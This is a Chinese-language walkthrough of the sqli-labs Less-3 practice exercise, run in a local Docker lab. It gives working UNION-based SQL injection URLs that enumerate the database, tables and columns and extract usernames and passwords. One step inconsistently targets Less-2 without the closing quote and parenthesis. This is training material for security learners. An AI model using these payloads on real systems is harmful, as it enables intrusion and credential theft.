摘要
本文介绍如何通过sqli-labs的Less-3题目进行SQL注入攻击的步骤。通过判断是否存在注入、判断显错位、判断库名、版本号、判断表名、判断列名和判断数据等步骤,成功获取了目标网站的用户名密码。同时,本文还提供了美化后的格式结果,使得结果更加清晰易读。
实验环节
前期准备
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-3的地址
打开HackBar插件
判断是否存在注入
http://192.168.199.129/Less-3/?id=1'
#如下图可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
http://192.168.199.129/Less-3/?id=1') order by 4 -- xz
#order by 1-3都是没有任何异常,4显示报错
判断显错位
http://192.168.199.129/Less-3/?id=-1') union select 1,2,3 -- xz
判断库名,版本号
http://192.168.199.129/Less-3/?id=-1') union select 1,database(),version() -- xz
判断表名
http://192.168.199.129/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- xz
#也可使用limit一个一个查询,这样不容易掉坑,Less-1讲解了具体用法,这里就不多说了
判断列名
http://192.168.199.129/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- xz
判断数据
http://192.168.199.129/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users -- xz
美化后的格式结果
http://192.168.199.129/Less-3/?id=-1') union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users -- xz
评论区